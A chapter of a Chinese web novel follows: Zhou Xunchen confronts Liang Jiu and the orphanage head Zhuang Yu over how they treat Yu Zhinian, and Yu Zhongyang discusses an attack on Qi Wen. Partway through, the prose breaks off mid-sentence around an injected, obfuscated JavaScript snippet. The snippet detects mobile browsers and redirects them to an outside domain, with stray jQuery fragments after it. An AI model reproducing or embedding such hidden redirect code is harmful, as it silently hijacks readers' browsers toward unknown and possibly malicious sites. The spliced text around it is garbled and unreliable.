凌晨一点,余仲扬接到了齐闻的电话,他从睡梦中起身,急匆匆地赶往齐闻家里。
警察已经把人带走,齐闻正给自己处理伤口,余仲扬就已经刷卡进了门。
“怎么样?”
齐闻眼疾手快把袖子拉下去挡住自己的伤:“能有什么事?”
余仲扬眼睛一眯,看向他下意识向后藏的胳膊:“受伤了?”
“没有。”
余仲扬一把扯过去,撩起袖子,一道从手背蔓延到手肘的伤口,好在不深。
大明星没好气地松开手:“瞒着我做什么?”
齐闻垂下眉眼没说话:“可惜了你送我的衣服。”
“喜欢那件?我再送你两套。”余仲扬将额前的头发拨向脑后,靠坐在齐闻的沙发上,“她怎么找上门的?”
“没说。”
“没说?”
“是个哑巴,手我又捆着,不过警察那边会审。”
“呵,肯定是余知念,她好像知道点当年的事,但看来知道的不多,不然怎么会用她来对付我。”
“余小姐的消息渠道很奇怪,之前查她怎么知道六年前的事也没什么发现,”齐闻说,“而且我故意放出去的地址不是这里,这里就你和我知道。”
余仲扬阖了阖眼:“是啊,奇怪极了,季清的事上也是,像是……”
未卜先知似的。
“对了,明天下午帮我空一个小时出来。”
“怎么?”
“庄玉想和我见面。”
“庄玉?你专门设局让对方产生留学意向的那个学姐?”
“是她。”
“她找你有什么事?”
“她是余知念护着的那家孤儿院现在的院长,”余仲扬用一种果不其然的语气嘲讽地说,“我就说她们只能拖后腿,这不就来了吗?”
/
时间回到当天下午。
周寻琛在余知念冲出去的瞬间就明白,应该是高一那个梁酒出了事。
余知念和余仲扬的不和他听余季清灌了一脑子,那傻子还在纠结自己怎么在帮助余知念的前提下,不对自己二哥做出过度的伤害。
既然用的是“我有一个朋友”的说法,余仲扬干脆直接尖酸刻薄地说:“两头都想吃,就会两头都吃力不讨好,你见过兔子调停大象打架的吗?直接一脚踩死了。”
“也不能这么说吧,毕竟……”
“爱信不信。”
余季清瞪他:“我发现你现在脾气越来越大了。”
见余知念冲出去了,余季清也想跟,被他拦住了。
周寻琛给韩斯年发了消息。
然而那小子估计也在忙,没有回复。
周寻琛轻啧,转头又给那个狗仔下命令。
高一的打架结束了,视频开始满天飞,但还算聪明,没把余知念的正脸拍进去,可周寻琛一眼看出来余知念的紧张状态,心里窜起一把火。
然而现在不能追出去,自己追过去余知念只会更混乱,只能等等后续。
结果后续就是,狗仔拍来一段视频,余知念听小崽子和那个讨厌鬼黎珂说了几句话,神色就不好了,再后来,她遇到了庄玉,进去出来没多久,脸色更难看了。
不是生气的难看,而是落寞的难看,像是被喜欢的人给了个坏脸色。
哈!真够有胆的。
周寻琛忍到中午,确定余知念不会返场,请了假直奔萌芽院。
狗仔在路边等到他的车,把自己零零散散听到的那几句复述了一下,尤其是黎珂的“小酒只是不想你也变成和他们一样的人”。
周寻琛直接气笑了。
讨厌鬼翻译的很准确,能这么准确,八成自己也是这么想。
“黎珂呢?”
“暂时回警局了,现在是他队友在。”
“便宜他了。”
狗仔看着少爷咬牙切齿的样子,点了点头,黎珂也算从这大魔王手里逃过一劫。
“先去看看那只白眼狼崽子,哪来的脸说那种话。”
周寻琛下了车,理了理自己的校服衣角,推开萌芽院的生锈大铁门。
“小松,好久不见啊。”
周寻琛和祝松自来熟地打招呼。
正对着菜地写生的祝松抬起头,她点点头,这位是给萌芽院捐款的大户,她认得的。
不过因为对方今天穿了校服,她有些惊讶,轻声问:“哥哥,你也是春英的吗?”
“嗯,我是春英高三的。”周寻琛对这个话少内向的小姑娘很有好感,他轻拍祝松小羊般蓬松的卷发,“你们院长在吗?”
“在的,我领你去。”
“不急,先找一下梁酒。”
“小酒?”
“对,有几句话和她说一下。”
祝松没多想,只以为是同校学长见一下学妹,引着人到了平时的活动室,倒了杯水后去叫梁酒。
梁酒一头雾水地进来,看见是个不认识的人,正要开口打招呼,就听对方说——
“听说你要你姐姐做个圣人呢?”
梁酒懵了:“什么?”
“你黎哥说的那句什么,变成和他们一样的人,他们是什么人,嗯?”
梁酒一下子就明白,这位学长好像来者不善。
她的倔气又上来了:“可以肆意欺负人的人啊!我姐姐才不该变成……”
“小家伙,你是不是太自以为是了?你把你姐姐当成什么了?”
周寻琛轻笑。
“你从小和她一路同校,她护你护得跟眼珠子似的,让你除了小时候被欺负过一次再没受过什么波折。
“你又脑子聪明,骨子里带着俯视别人的傲慢,觉得全世界都该按你想象的那样运行。
“但你怎么敢俯视你姐姐的啊?”
周寻琛放下水杯,动作不轻,水晃出来几滴在桌上,祝松吓得抖了一下。
梁酒反驳:“我没有!”
“你没有?那你理直气壮地说什么鬼话呢?
“你这次被同学打了都想着息事宁人,怎么苦吃了道理自己懂了,却还对你姐姐要求那么高?你姐姐欠你的?怎么不去要求打你的刘媛媛呢?”
“可姐姐她不是那种……”
“没人要对你的想象负责,凭什么你想要她是什么样她就必须那样?梁酒,除了没用的撒娇,你对你姐姐有过什么帮助吗?”
他觉得厌烦。
一群拖后腿的家伙,一群没良心的家伙,这么没用了却连乖乖听话都做不到,因为所谓亲情就敢对别人指指点点。
“你进春英没被霸凌,是因为我给韩斯年打了招呼,不然你真以为能毫不顾忌打你的人愿意和你交朋友?”
当然,梁酒出现没能和余知念早点相见也是他在暗中阻止就是了。
他真讨厌这种,踩在余知念身上吸血才被养得一身天真气的家伙,余知念不介意,他介意。
“你姐姐当时遭遇的和赵经纬遭遇的就没有区别,可她聪明机敏,能给自己杀出一条路,你呢,你能吗?”
梁酒抿住了唇。
“你不能,你非要闯进春英去,不就是仗着你姐姐在,你还有的倚靠吗?你进春英前不知道春英里霸凌人吗?你没想过你去了会让她雪上加霜吗?自私鬼。”
春英霸凌特招生的名气从来不小,要不是走投无路或者心有所求,聪明人何必去春英蹚浑水?
是安安稳稳上名牌大学拿奖学金不舒服吗?
周寻琛不再遮掩自己的厌恶,冷冷地说:“她总在因为你们而手忙脚乱,而你还能在这里悠闲地思考她是不是做错了,我真替她心寒。”
说完,他又看向刚进门的庄玉。
梁酒是不懂事,庄玉就是纯自己有病了。
“你是余知念的朋友吧。”
“庄院长不认识我了?”
“那你也帮我们带句话好了,告诉她,我们又不是她和余仲扬的玩具,他们两人怎么闹,少拿我们当炮灰。”
“玩具?哪有这么金贵的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245942|175095||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
玩具,敢骑在玩家头上骂,玩家还要看你们脸色。”周寻琛冷嗤,“你不觉得你说的话前后矛盾吗?”
“我们一群小人物,她余知念已经是了不起的大人物了,你怎么不叫她大发慈悲放过我们呢!”
祝松梁酒忙叫:“玉姐!”
“那你把钱退回来。”
周寻琛掀开眼皮,直击命脉。
“说这么多做什么,这么清高,就把我和余知念捐给你们的钱退回来,我今天带了账单,一共两百七十三万四千二百一十六元,琐碎零头抹了,两百七十三万,还回来。”
他真从自己校服内兜掏出来几张折好的纸,展开后拍桌面上。
庄玉微愕:“什么?”
“你以为余知念这些年为什么这么穷?”周寻琛冷笑,“全养了你们这群白眼狼。”
“周寻琛,你又是用什么身份和我说这些!”
瞧,这不是认识自己吗?
“又来,怎么一个个的,自己没理了就是用身份压人,但你压得住吗庄玉?仗着我对余知念上心,觉得也能踩我一脚了?”
周寻琛起身拍了拍自己的袖口。
“我不是余知念,跟你们没什么感情,我给你们捐那么多钱是为了让余知念松快些,你们怎么还把自己当大爷了?
“连吃带拿还骂厨子,真不要脸。”
他和庄玉错身,又转身冲梁酒笑了笑。
“希望你们认清自己的位置,再给她添堵,我可比余仲扬难缠。
“至于带话的事,庄玉,你算什么东西,也配我替你带话?”
周寻琛离开了,留下面如菜色的庄玉和慌乱无措的梁酒。
祝松在一旁摸了摸鼻尖,说真的,她觉得吧,周寻琛虽然说话难听但也说得没错。
小酒就是有些被惯坏的小孩才有的坏脾气,就拿之前初一老师出轨的事来说吧,起因也不过是对方骂了一句梁酒不服管教。
谁家的弱势小孩会因为一句骂就和老师掀桌子摔作业啊,那时候还不熟的同学都以为她是哪家大小姐,底气那么足。
掀了桌子没多久,那老师的出轨视频就满天飞了,祝松为了给她去网吧打掩护,差点没按时交上去自己的画。
而玉姐也确实在姐姐的事情上总是反应过度,难道是因为本来她和姐姐就关系不好?
少言寡语的祝松暗自叹了口气,干脆出门去看年纪小的那几个在做什么。
一向恃才傲物的梁酒难得地惶然起来。
她想到对方说是他给韩斯年打了招呼这件事,不由得背后发冷。
再想起赵经纬被欺负时,自己曾经还有过的庆幸和觉得是对方性格阴沉,顿觉懊悔之情烧得自己脸疼。
“谁要他的钱!”庄玉气得发抖,只觉得自己又因为余知念无妄之灾了一遭,“还!一分不少我还回去!”
“玉姐……”
梁酒都觉得不妥了。
怎么刚才不说呢,现在人都走了,说这些话给谁听呢?
“还有你!”庄玉点着梁酒的脑袋,“当初偷偷跑去考春英,结果是为了那个没良心的余知念,现在又因为她挨了一遭,这下知道要躲着走了吗!”
“关姐姐什么事啊……”梁酒小声嘀咕,“是我自愿的,他说的也没错,确实是我太自以为是了。”
“梁酒!”
“玉姐,奶奶的事你还要纠结到什么时候?你不是也知道不怪姐姐吗,为什么一提姐姐你就炸?”
庄玉像是被人踩到了痛脚,大骂:“她连给我妈磕个头都不肯,有什么资格拉我们下水给她冲锋陷阵!”
“玉姐!”
“你给我闭嘴!”庄玉大喝,“我还要给你这个没良心的收拾烂摊子,那混蛋说了一堆就一句没有错,你就是自以为是仗着大家都护着你!”
梁酒垮着肩膀,吸了吸鼻子:“对不起……”
庄玉深呼吸几次,终于把火气压下去几许:“你就祈祷余仲扬能卖给我这个学姐面子,愿意放你一马吧!”